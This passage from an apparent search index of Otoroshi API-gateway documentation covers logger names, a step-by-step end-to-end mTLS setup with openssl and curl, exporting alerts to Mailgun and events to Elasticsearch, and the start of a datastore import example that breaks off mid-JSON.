[`otoroshi-globalconfig-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-globalconfig-datastore%22%29)\n- [`otoroshi-reactive-pg-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-reactive-pg-datastores%22%29)\n- [`otoroshi-reactive-pg-kv`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-reactive-pg-kv%22%29)\n- [`otoroshi-cassandra-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cassandra-datastores%22%29)\n- [`otoroshi-apikey-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikey-datastore%22%29)\n- [`otoroshi-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-datastore%22%29)\n- [`otoroshi-certificate-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-certificate-datastore%22%29)\n- [`otoroshi-simple-admin-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-simple-admin-datastore%22%29)\n- [`otoroshi-atomic-in-memory-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-atomic-in-memory-datastore%22%29)\n- [`otoroshi-lettuce-redis`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-lettuce-redis%22%29)\n- [`otoroshi-lettuce-redis-cluster`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-lettuce-redis-cluster%22%29)\n- [`otoroshi-redis-lettuce-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-redis-lettuce-datastores%22%29)\n- [`otoroshi-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-datastores%22%29)\n- [`otoroshi-file-db-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-file-db-datastores%22%29)\n- [`otoroshi-http-db-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-http-db-datastores%22%29)\n- [`otoroshi-s3-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-s3-datastores%22%29)\n- [`PluginDocumentationGenerator`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22PluginDocumentationGenerator%22%29)\n- [`otoroshi-health-checker`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-health-checker%22%29)\n- [`otoroshi-healthcheck-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-healthcheck-job%22%29)\n- [`otoroshi-healthcheck-local-cache-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-healthcheck-local-cache-job%22%29)\n- [`otoroshi-plugins-response-cache`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-response-cache%22%29)\n- [`otoroshi-oidc-apikey-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-oidc-apikey-config%22%29)\n- [`otoroshi-plugins-maxmind-geolocation-info`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-maxmind-geolocation-info%22%29)\n- [`otoroshi-plugins-ipstack-geolocation-info`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-ipstack-geolocation-info%22%29)\n- [`otoroshi-plugins-maxmind-geolocation-helper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-maxmind-geolocation-helper%22%29)\n- [`otoroshi-plugins-user-agent-helper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-user-agent-helper%22%29)\n- [`otoroshi-plugins-user-agent-extractor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-user-agent-extractor%22%29)\n- [`otoroshi-global-el`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-el%22%29)\n- [`otoroshi-plugins-oauth1-caller-plugin`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-oauth1-caller-plugin%22%29)\n- [`otoroshi-dynamic-sslcontext`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-dynamic-sslcontext%22%29)\n- [`otoroshi-plugins-access-log-clf`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-access-log-clf%22%29)\n- [`otoroshi-plugins-access-log-json`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-access-log-json%22%29)\n- [`otoroshi-plugins-kafka-access-log`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kafka-access-log%22%29)\n- [`otoroshi-plugins-kubernetes-client`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-client%22%29)\n- [`otoroshi-plugins-kubernetes-ingress-controller-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-ingress-controller-job%22%29)\n- [`otoroshi-plugins-kubernetes-ingress-sync`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-ingress-sync%22%29)\n- [`otoroshi-plugins-kubernetes-crds-controller-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-crds-controller-job%22%29)\n- [`otoroshi-plugins-kubernetes-crds-sync`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-crds-sync%22%29)\n- [`otoroshi-cluster`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cluster%22%29)\n- [`otoroshi-crd-validator`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-crd-validator%22%29)\n- [`otoroshi-sidecar-injector`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-sidecar-injector%22%29)\n- [`otoroshi-plugins-kubernetes-cert-sync`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-cert-sync%22%29)\n- [`otoroshi-plugins-kubernetes-to-otoroshi-certs-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-to-otoroshi-certs-job%22%29)\n- [`otoroshi-plugins-otoroshi-certs-to-kubernetes-secrets-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-otoroshi-certs-to-kubernetes-secrets-job%22%29)\n- [`otoroshi-apikeys-workflow-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikeys-workflow-job%22%29)\n- [`otoroshi-cert-helper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cert-helper%22%29)\n- [`otoroshi-certificates-ocsp`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-certificates-ocsp%22%29)\n- [`otoroshi-claim`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-claim%22%29)\n- [`otoroshi-cert`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cert%22%29)\n- [`otoroshi-ssl-provider`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-ssl-provider%22%29)\n- [`otoroshi-cert-data`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cert-data%22%29)\n- [`otoroshi-client-cert-validator`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-client-cert-validator%22%29)\n- [`otoroshi-ssl-implicits`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-ssl-implicits%22%29)\n- [`otoroshi-saml-validator-utils`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-saml-validator-utils%22%29)\n- [`otoroshi-global-saml-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-saml-config%22%29)\n- [`otoroshi-plugins-hmac-caller-plugin`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-hmac-caller-plugin%22%29)\n- [`otoroshi-plugins-hmac-access-validator-plugin`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-hmac-access-validator-plugin%22%29)\n- [`otoroshi-plugins-hasallowedusersvalidator`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-hasallowedusersvalidator%22%29)\n- [`otoroshi-auth-module-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-auth-module-config%22%29)\n- [`otoroshi-basic-auth-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-basic-auth-config%22%29)\n- [`otoroshi-ldap-auth-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-ldap-auth-config%22%29)\n- [`otoroshi-plugins-jsonpath-helper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-jsonpath-helper%22%29)\n- [`otoroshi-global-oauth2-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-oauth2-config%22%29)\n- [`otoroshi-global-oauth2-module`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-oauth2-module%22%29)\n- [`otoroshi-ldap-auth-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-ldap-auth-config%22%29)\n- [`otoroshi-wasm-integration`](https://github.com/search?q=repo%3AMAIF%2Fotoroshi+Logger%28%22otoroshi-wasm-integration%22%29)\n" + }, + { + "name": "end-to-end-mtls.md", + "id": "/how-to-s/end-to-end-mtls.md", + "url": "/how-to-s/end-to-end-mtls.html", + "title": "End-to-end mTLS", + "content": "# End-to-end mTLS\n\nIf you want to use MTLS on otoroshi, you first need to enable it. It is not enabled by default as it will make TLS handshake way heavier. \nTo enable it just change the following config :\n\n```sh\notoroshi.ssl.fromOutside.clientAuth=None|Want|Need\n```\n\nor using env. variables\n\n```sh\nSSL_OUTSIDE_CLIENT_AUTH=None|Want|Need\n```\n\nYou can use the `Want` setup if you cant to have both mtls on some services and no mtls on other services.\n\nYou can also change the trusted CA list sent in the handshake certificate request from the `Danger Zone` in `Tls Settings`.\n\nOtoroshi support mutual TLS out of the box. mTLS from client to Otoroshi and from Otoroshi to targets are supported. In this article we will see how to configure Otoroshi to use end-to-end mTLS. All code and files used in this articles can be found on the [Otoroshi github](https://github.com/MAIF/otoroshi/tree/master/demos/mtls)\n\n### Create certificates\n\nBut first we need to generate some certificates to make the demo work\n\n```sh\nmkdir mtls-demo\ncd mtls-demo\nmkdir ca\nmkdir server\nmkdir client\n\n# create a certificate authority key, use password as pass phrase\nopenssl genrsa -out ./ca/ca-backend.key 4096\n# remove pass phrase\nopenssl rsa -in ./ca/ca-backend.key -out ./ca/ca-backend.key\n# generate the certificate authority cert\nopenssl req -new -x509 -sha256 -days 730 -key ./ca/ca-backend.key -out ./ca/ca-backend.cer -subj \"/CN=MTLSB\"\n\n\n# create a certificate authority key, use password as pass phrase\nopenssl genrsa -out ./ca/ca-frontend.key 2048\n# remove pass phrase\nopenssl rsa -in ./ca/ca-frontend.key -out ./ca/ca-frontend.key\n# generate the certificate authority cert\nopenssl req -new -x509 -sha256 -days 730 -key ./ca/ca-frontend.key -out ./ca/ca-frontend.cer -subj \"/CN=MTLSF\"\n\n\n# now create the backend cert key, use password as pass phrase\nopenssl genrsa -out ./server/_.backend.oto.tools.key 2048\n# remove pass phrase\nopenssl rsa -in ./server/_.backend.oto.tools.key -out ./server/_.backend.oto.tools.key\n# generate the csr for the certificate\nopenssl req -new -key ./server/_.backend.oto.tools.key -sha256 -out ./server/_.backend.oto.tools.csr -subj \"/CN=*.backend.oto.tools\"\n# generate the certificate\nopenssl x509 -req -days 365 -sha256 -in ./server/_.backend.oto.tools.csr -CA ./ca/ca-backend.cer -CAkey ./ca/ca-backend.key -set_serial 1 -out ./server/_.backend.oto.tools.cer\n# verify the certificate, should output './server/_.backend.oto.tools.cer: OK'\nopenssl verify -CAfile ./ca/ca-backend.cer ./server/_.backend.oto.tools.cer\n\n\n# now create the frontend cert key, use password as pass phrase\nopenssl genrsa -out ./server/_.frontend.oto.tools.key 2048\n# remove pass phrase\nopenssl rsa -in ./server/_.frontend.oto.tools.key -out ./server/_.frontend.oto.tools.key\n# generate the csr for the certificate\nopenssl req -new -key ./server/_.frontend.oto.tools.key -sha256 -out ./server/_.frontend.oto.tools.csr -subj \"/CN=*.frontend.oto.tools\"\n# generate the certificate\nopenssl x509 -req -days 365 -sha256 -in ./server/_.frontend.oto.tools.csr -CA ./ca/ca-frontend.cer -CAkey ./ca/ca-frontend.key -set_serial 1 -out ./server/_.frontend.oto.tools.cer\n# verify the certificate, should output './server/_.frontend.oto.tools.cer: OK'\nopenssl verify -CAfile ./ca/ca-frontend.cer ./server/_.frontend.oto.tools.cer\n\n\n# now create the client cert key for backend, use password as pass phrase\nopenssl genrsa -out ./client/_.backend.oto.tools.key 2048\n# remove pass phrase\nopenssl rsa -in ./client/_.backend.oto.tools.key -out ./client/_.backend.oto.tools.key\n# generate the csr for the certificate\nopenssl req -new -key ./client/_.backend.oto.tools.key -out ./client/_.backend.oto.tools.csr -subj \"/CN=*.backend.oto.tools\"\n# generate the certificate\nopenssl x509 -req -days 365 -sha256 -in ./client/_.backend.oto.tools.csr -CA ./ca/ca-backend.cer -CAkey ./ca/ca-backend.key -set_serial 2 -out ./client/_.backend.oto.tools.cer\n# generate a pem version of the cert and key, use password as password\nopenssl x509 -in client/_.backend.oto.tools.cer -out client/_.backend.oto.tools.pem -outform PEM\n\n\n# now create the client cert key for frontend, use password as pass phrase\nopenssl genrsa -out ./client/_.frontend.oto.tools.key 2048\n# remove pass phrase\nopenssl rsa -in ./client/_.frontend.oto.tools.key -out ./client/_.frontend.oto.tools.key\n# generate the csr for the certificate\nopenssl req -new -key ./client/_.frontend.oto.tools.key -out ./client/_.frontend.oto.tools.csr -subj \"/CN=*.frontend.oto.tools\"\n# generate the certificate\nopenssl x509 -req -days 365 -sha256 -in ./client/_.frontend.oto.tools.csr -CA ./ca/ca-frontend.cer -CAkey ./ca/ca-frontend.key -set_serial 2 -out ./client/_.frontend.oto.tools.cer\n# generate a pkcs12 version of the cert and key, use password as password\n# openssl pkcs12 -export -clcerts -in client/_.frontend.oto.tools.cer -inkey client/_.frontend.oto.tools.key -out client/_.frontend.oto.tools.p12\nopenssl x509 -in client/_.frontend.oto.tools.cer -out client/_.frontend.oto.tools.pem -outform PEM\n```\n\nOnce it's done, you should have something like\n\n```sh\n$ tree\n.\n├── backend.js\n├── ca\n│   ├── ca-backend.cer\n│   ├── ca-backend.key\n│   ├── ca-frontend.cer\n│   └── ca-frontend.key\n├── client\n│   ├── _.backend.oto.tools.cer\n│   ├── _.backend.oto.tools.csr\n│   ├── _.backend.oto.tools.key\n│   ├── _.backend.oto.tools.pem\n│   ├── _.frontend.oto.tools.cer\n│   ├── _.frontend.oto.tools.csr\n│   ├── _.frontend.oto.tools.key\n│   └── _.frontend.oto.tools.pem\n└── server\n ├── _.backend.oto.tools.cer\n ├── _.backend.oto.tools.csr\n ├── _.backend.oto.tools.key\n ├── _.frontend.oto.tools.cer\n ├── _.frontend.oto.tools.csr\n └── _.frontend.oto.tools.key\n\n3 directories, 18 files\n```\n\n### The backend service \n\nnow, let's create a backend service using nodejs. Create a file named `backend.js`\n\n```sh\ntouch backend.js\n```\n\nand put the following content\n\n```js\nconst fs = require('fs'); \nconst https = require('https'); \n\nconst options = { \n key: fs.readFileSync('./server/_.backend.oto.tools.key'), \n cert: fs.readFileSync('./server/_.backend.oto.tools.cer'), \n ca: fs.readFileSync('./ca/ca-backend.cer'), \n}; \n\nconst server = https.createServer(options, (req, res) => { \n res.writeHead(200, {\n 'Content-Type': 'application/json'\n }); \n res.end(JSON.stringify({ message: 'Hello World!' }) + \"\\n\"); \n}).listen(8444);\n\nconsole.log('Server listening:', `http://localhost:${server.address().port}`);\n```\n\nto run the server, just do \n\n```sh\nnode ./backend.js\n```\n\nnow you can try your server with\n\n```sh\ncurl --cacert ./ca/ca-backend.cer 'https://api.backend.oto.tools:8444/'\n```\n\nThis should output :\n```json\n{ \"message\": \"Hello World!\" }\n```\n\nnow modify your backend server to ensure that the client provides a client certificate like:\n\n```js\nconst fs = require('fs'); \nconst https = require('https'); \n\nconst options = { \n key: fs.readFileSync('./server/_.backend.oto.tools.key'), \n cert: fs.readFileSync('./server/_.backend.oto.tools.cer'), \n ca: fs.readFileSync('./ca/ca-backend.cer'), \n requestCert: true, \n rejectUnauthorized: true\n}; \n\nconst server = https.createServer(options, (req, res) => { \n console.log('Client certificate CN: ', req.socket.getPeerCertificate().subject.CN);\n res.writeHead(200, {\n 'Content-Type': 'application/json'\n }); \n res.end(JSON.stringify({ message: 'Hello World!' }) + \"\\n\"); \n}).listen(8444);\n\nconsole.log('Server listening:', `http://localhost:${server.address().port}`);\n```\n\nyou can test your new server with\n\n```sh\ncurl \\\n --cacert ./ca/ca-backend.cer \\\n --cert ./client/_.backend.oto.tools.pem \\\n --key ./client/_.backend.oto.tools.key 'https://api.backend.oto.tools:8444/'\n```\n\nthe output should be :\n\n```json\n{ \"message\": \"Hello World!\" }\n```\n\n### Otoroshi setup\n\nDownload the latest version of the Otoroshi jar and run it like\n\n```sh\n java \\\n -Dotoroshi.adminPassword=password \\\n -Dotoroshi.ssl.fromOutside.clientAuth=Want \\\n -jar -Dotoroshi.storage=file otoroshi.jar\n\n[info] otoroshi-env - Admin API exposed on http://otoroshi-api.oto.tools:8080\n[info] otoroshi-env - Admin UI exposed on http://otoroshi.oto.tools:8080\n[info] otoroshi-in-memory-datastores - Now using InMemory DataStores\n[info] otoroshi-env - The main datastore seems to be empty, registering some basic services\n[info] otoroshi-env - You can log into the Otoroshi admin console with the following credentials: admin@otoroshi.io / password\n[info] play.api.Play - Application started (Prod)\n[info] p.c.s.AkkaHttpServer - Listening for HTTP on /0:0:0:0:0:0:0:0:8080\n[info] p.c.s.AkkaHttpServer - Listening for HTTPS on /0:0:0:0:0:0:0:0:8443\n[info] otoroshi-env - Generating a self signed SSL certificate for https://*.oto.tools ...\n```\n\nand log into otoroshi with the tuple `admin@otoroshi.io / password` displayed in the logs. \n\nOnce logged in, navigate to the routes page and create a new route.\n\n* Set a name then validate the creation\n* On frontend node, add `api.frontend.oto.tools` in the list of domains\n* On backend node, replace the target with `api.backend.oto.tools` as hostname and `8444` as port. \n\nSave the route and try to call it.\n\n```sh\ncurl 'http://api.frontend.oto.tools:8080/'\n```\n\nThis should output :\n```json\n{\"Otoroshi-Error\": \"Something went wrong, you should try later. Thanks for your understanding.\"}\n```\n\nyou should get an error due to the fact that Otoroshi doesn't know about the server certificate and the client certificate expected by the server.\n\nWe must declare the client and server certificates for `https://api.backend.oto.tools` to Otoroshi. \n\nGo to the [certificates page](http://otoroshi.oto.tools:8080/bo/dashboard/certificates) and create a new item. Drag and drop the content of the `./client/_.backend.oto.tools.cer` and `./client/_.backend.oto.tools.key` files, respectively in `Certificate full chain` and `Certificate private key`.\n\nIf you prefer to use the API, you can create an Otoroshi certificate automatically from a PEM bundle.\n\n```sh\ncat ./server/_.backend.oto.tools.cer ./ca/ca-backend.cer ./server/_.backend.oto.tools.key | curl \\\n -H 'Content-Type: text/plain' -X POST \\\n --data-binary @- \\\n -u admin-api-apikey-id:admin-api-apikey-secret \\\n http://otoroshi-api.oto.tools:8080/api/certificates/_bundle \n```\n\nnow we have to expose `https://api.frontend.oto.tools:8443` using otoroshi. \n\nCreate a second item. Copy and paste the content of `./server/_.frontend.oto.tools.cer` and `./server/_.frontend.oto.tools.key` respectively in `Certificate full chain` and `Certificate private key`.\n\nIf you don't want to bother with UI copy/paste, you can use the import bundle api endpoint to create an otoroshi certificate automatically from a PEM bundle.\n\n```sh\ncat ./server/_.frontend.oto.tools.cer ./ca/ca-frontend.cer ./server/_.frontend.oto.tools.key | curl \\\n -H 'Content-Type: text/plain' -X POST \\\n -u admin-api-apikey-id:admin-api-apikey-secret \\\n --data-binary @- \\\n http://otoroshi-api.oto.tools:8080/api/certificates/_bundle\n```\n\nOnce created, go back to your route. On the target of the backend node, we have to enable the custom Otoroshi TLS.\n\n* Click on the backend node\n* Click on your target\n* Click on the Show advanced settings button\n* Click on Custom TLS setup\n* Enable the section\n* In the list of certificates, select the backend certificate\n* In the list of trusted certificates, select the frontend certificate\n* Save your route\n \nTry the following command\n\n```sh\ncurl --cacert ./ca/ca-frontend.cer 'https://api.frontend.oto.tools:8443/'\n```\nthe output should be\n\n```json\n{\"message\":\"Hello World!\"}\n```\n\nNow we want to enforce the fact that we want client certificate for `api.frontend.oto.tools`. \n\nSearch in the list of plugins and add the `Client Certificate Only` plugin to your route.\n\nnow if you retry \n\n```sh\ncurl --cacert ./ca/ca-frontend.cer 'https://api.frontend.oto.tools:8443/'\n```\nthe output should be\n\n```json\n{\"Otoroshi-Error\":\"bad request\"}\n```\n\nyou should get an error because no client certificate is passed with the request. But if you pass the `./client/_.frontend.oto.tools.csr` client cert and the key in your curl call\n\n```sh\ncurl 'https://api.frontend.oto.tools:8443' \\\n --cacert ./ca/ca-frontend.cer \\\n --cert ./client/_.frontend.oto.tools.pem \\\n --key ./client/_.frontend.oto.tools.key\n```\nthe output should be\n\n```json\n{\"message\":\"Hello World!\"}\n```\n\n### Client certificate matching plugin\n\nOtoroshi can restrict and check all incoming client certificates on a route.\n\nSearch in the list of plugins the `Client certificate matching` plugin and add it the the flow.\n\nSave the route and retry your call again.\n\n```sh\ncurl 'https://api.frontend.oto.tools:8443' \\\n --cacert ./ca/ca-frontend.cer \\\n --cert ./client/_.frontend.oto.tools.pem \\\n --key ./client/_.frontend.oto.tools.key\n```\nthe output should be\n\n```json\n{\"Otoroshi-Error\":\"bad request\"}\n```\n\nOur client certificate is not matched by Otoroshi. We have to add the subject DN in the configuration of the `Client certificate matching` plugin to authorize it.\n\n```json\n{\n \"HasClientCertMatchingValidator\": {\n \"serialNumbers\": [],\n \"subjectDNs\": [\n \"CN=*.frontend.oto.tools\"\n ],\n \"issuerDNs\": [],\n \"regexSubjectDNs\": [],\n \"regexIssuerDNs\": []\n }\n}\n```\n\nSave the service and retry your call again.\n\n```sh\ncurl 'https://api.frontend.oto.tools:8443' \\\n --cacert ./ca/ca-frontend.cer \\\n --cert ./client/_.frontend.oto.tools.pem \\\n --key ./client/_.frontend.oto.tools.key\n```\nthe output should be\n\n```json\n{\"message\":\"Hello World!\"}\n```\n\n\n" + }, + { + "name": "export-alerts-using-mailgun.md", + "id": "/how-to-s/export-alerts-using-mailgun.md", + "url": "/how-to-s/export-alerts-using-mailgun.html", + "title": "Send alerts using mailgun", + "content": "# Send alerts using mailgun\n\nAll Otoroshi alerts can be send on different channels.\nOne of the ways is to send a group of specific alerts via emails.\n\nTo enable this behaviour, let's start by create an exporter of events.\n\nIn this tutorial, we will admit that you already have a mailgun account with an API key and a domain.\n\n## Create an Mailgun exporter\n\nLet's create an exporter. The exporter will export by default all events generated by Otoroshi.\n\n1. Go ahead, and navigate to http://otoroshi.oto.tools:8080\n2. Click on the cog icon on the top right\n3. Then `Exporters` button\n4. And add a new configuration when clicking on the `Add item` button\n5. Select the `mailer` in the `type` selector field\n6. Jump to `Exporter config` and select the `Mailgun` option\n7. Set the following values:\n* `EU` : false/true depending on your mailgun configuratin\n* `Mailgun api key` : your-mailgun-api-key\n* `Mailgun domain` : your-mailgun-domain\n* `Email addresses` : list of the recipient adresses\n\nWith this configuration, all Otoroshi events will be send to your listed addresses (we don't recommended to do that).\n\nTo filter events on `Alerts` type, we need to add the following configuration inside the `Filtering and projection` section (if you want to deep learn about this section, read this @ref:[part](../entities/data-exporters.md#matching-and-projections)).\n\n```json\n{\n \"include\": [\n { \"@type\": \"AlertEvent\" }\n ],\n \"exclude\": []\n}\n``` \n\nSave at the bottom page and enable the exporter (on the top of the page or in list of exporters). We will need to wait few seconds to receive the first alerts.\n\nThe **projection** field can be useful in the case you want to filter the fields contained in each alert sent.\n\nThe `Projection` field is a json where you can list the fields to keep for each alert.\n\n```json\n{\n \"@type\": true,\n \"@timestamp\": true,\n \"@id\": true\n}\n```\n\nWith this example, only `@type`, `@timestamp` and `@id` will be sent to the addresses of your recipients." + }, + { + "name": "export-events-to-elastic.md", + "id": "/how-to-s/export-events-to-elastic.md", + "url": "/how-to-s/export-events-to-elastic.html", + "title": "Export events to Elasticsearch", + "content": "# Export events to Elasticsearch\n\n### Before you start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Deploy a Elasticsearch and kibana stack on Docker\n\nLet's start by creating an Elasticsearch and Kibana stack on our machine (if it's already done for you, you can skip this section).\n\nTo start an Elasticsearch container for development or testing, run:\n\n```sh\ndocker network create elastic\ndocker pull docker.elastic.co/elasticsearch/elasticsearch:7.15.1\ndocker run --name es01-test --net elastic -p 9200:9200 -p 9300:9300 -e \"discovery.type=single-node\" docker.elastic.co/elasticsearch/elasticsearch:7.15.1\n```\n\n```sh\ndocker pull docker.elastic.co/kibana/kibana:7.15.1\ndocker run --name kib01-test --net elastic -p 5601:5601 -e \"ELASTICSEARCH_HOSTS=http://es01-test:9200\" docker.elastic.co/kibana/kibana:7.15.1\n```\n\nTo access Kibana, go to @link:[http://localhost:5601](http://localhost:5601) { open=new }.\n\n### Create an Elasticsearch exporter\n\nLet's create an exporter. The exporter will export by default all events generated by Otoroshi.\n\n1. Go ahead, and navigate to @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new }\n2. Click on the cog icon on the top right\n3. Then `Exporters` button\n4. And add a new configuration when clicking on the `Add item` button\n5. Select the `elastic` in the `type` selector field\n6. Jump to `Exporter config`\n7. Set the following values: `Cluster URI` -> `http://localhost:9200`\n\nThen test your configuration by clicking on the `Check connection` button. This should output a modal with the Elasticsearch version and the number of loaded docs.\n\nSave at the bottom of the page and enable the exporter (on the top of the page or in list of exporters).\n\n### Testing your configuration\n\nOne simple way to test is to setup the reading of our Elasticsearch instance by Otoroshi.\n\nNavigate to the danger zone (click on the cog on the top right and scroll to `danger zone`). Jump to the `Analytics: Elastic dashboard datasource (read)` section.\n\nSet the following values : `Cluster URI` -> `http://localhost:9200`\n\nThen click on the `Check connection`. This should ouput the same result as the previous part. Save the global configuration and navigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/stats](http://otoroshi.oto.tools:8080/bo/dashboard/stats) { open=new }.\n\nThis should output a list of graphs.\n\n### Advanced usage\n\nBy default, an exporter handle all events from Otoroshi. In some case, you need to filter the events to send to elasticsearch.\n\nTo filter the events, jump to the `Filtering and projection` field in exporter view. Otoroshi supports to include a kind of events or to exclude a list of events (if you want to deep learn about this section, read this @ref:[part](../entities/data-exporters.md#matching-and-projections)). \n\nAn example which keep only events with a field `@type` of value `AlertEvent`:\n```json\n{\n \"include\": [\n { \"@type\": \"AlertEvent\" }\n ],\n \"exclude\": []\n}\n```\nAn example which exclude only events with a field `@type` of value `GatewayEvent` :\n```json\n{\n \"exclude\": [\n { \"@type\": \"GatewayEvent\" }\n ],\n \"include\": []\n}\n```\n\nThe next field is the **Projection**. This field is a json when you can list the fields to keep for each event.\n\n```json\n{\n \"@type\": true,\n \"@timestamp\": true,\n \"@id\": true\n}\n```\n\nWith this example, only `@type`, `@timestamp` and `@id` will be send to ES.\n\n### Debug your configuration\n\n#### Missing user rights on Elasticsearch\n\nWhen creating an exporter, Otoroshi try to join the index route of the elasticsearch instance. If you have a specific management access rights on Elasticsearch, you have two possiblities :\n\n- set a full access to the user used in Otoroshi for write in Elasticsearch\n- set the version of Elasticsearch inside the `Version` field of your exporter.\n\n#### None event appear in your Elasticsearch\n\nWhen creating an exporter, Otoroshi try to push the index template on Elasticsearch. If the post failed, Otoroshi will fail for each push of events and your database will keep empty. \n\nTo fix this problem, you can try to send the index template with the `Manually apply index template` button in your exporter." + }, + { + "name": "import-export-otoroshi-datastore.md", + "id": "/how-to-s/import-export-otoroshi-datastore.md", + "url": "/how-to-s/import-export-otoroshi-datastore.html", + "title": "Import and export Otoroshi datastore", + "content": "# Import and export Otoroshi datastore\n\n### Start Otoroshi with an initial datastore\n\nLet's start by downloading the latest Otoroshi\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n```\n\nBy default, Otoroshi starts with domain `oto.tools` that targets `127.0.0.1` Now you are almost ready to run Otoroshi for the first time, we want run it with an initial data.\n\nTo do that, you need to add the **otoroshi.importFrom** setting to the Otoroshi configuration (of `$APP_IMPORT_FROM` env). It can be a file path or a URL. The content of the initial datastore can look something like the following.\n\n```json\n{\n \"label\": \"Otoroshi initial datastore\",\n \"admins\": [],\n \"simpleAdmins\": [\n {\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"username\": \"admin@otoroshi.io\",\n \"password\": \"$2a$10$iQRkqjKTW.5XH8ugQrnMDeUstx4KqmIeQ58dHHdW2Dv1FkyyAs4C.\",\n \"label\": \"Otoroshi Admin\",\n \"createdAt\": 1634651307724,\n \"type\": \"SIMPLE\",\n \"metadata\": {},\n \"tags\": [],\n \"rights\": [\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\"\n ]\n }\n ]\n }\n ],\n \"serviceGroups\": [\n {\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"id\": \"admin-api-group\",\n \"name\": \"Otoroshi Admin Api group\",\n \"description\": \"No description\",\n \"tags\": [],\n \"metadata\": {}\n },\n {\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"id\": \"default\",\n \"name\": \"default-group\",\n \"description\": \"The default service group\",\n \"tags\": [],\n \"metadata\": {}\n }\n ],\n \"apiKeys\": [\n {\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": 